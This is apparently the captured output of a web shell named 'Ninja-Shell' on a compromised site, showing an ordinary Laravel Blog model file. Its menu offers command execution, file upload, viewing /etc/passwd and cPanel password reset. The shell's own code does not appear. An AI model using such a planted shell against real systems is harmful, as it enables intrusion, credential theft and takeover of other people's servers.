{Ninja-Shell}
Home
Info
Upload
Command
View /etc/passwd
cPanel Reset Password
Filename: //proc/858/cwd/bfti-website//app/Models/Blog.php
<?php namespace App\Models; use Spatie\MediaLibrary\HasMedia; use Illuminate\Database\Eloquent\Model; use Spatie\MediaLibrary\InteractsWithMedia; use Illuminate\Database\Eloquent\SoftDeletes; use Illuminate\Database\Eloquent\Factories\HasFactory; use Spatie\MediaLibrary\MediaCollections\Models\Media; class Blog extends Model implements HasMedia { use HasFactory, InteractsWithMedia, SoftDeletes; protected $fillable = [ 'category', 'title', 'description', 'status', 'mail_status', 'short_text' ]; public function registerMediaCollections(): void { $this ->addMediaCollection('blog')->singleFile() ->registerMediaConversions(function (Media $media) { $this->addMediaConversion('thumbnail') ->width(120) ->height(67) ->nonQueued(); $this->addMediaConversion('medium') ->width(300) ->height(168) ->nonQueued(); $this->addMediaConversion('large') ->width(600) ->height(337) ->nonQueued(); }); } }
./Ninja\.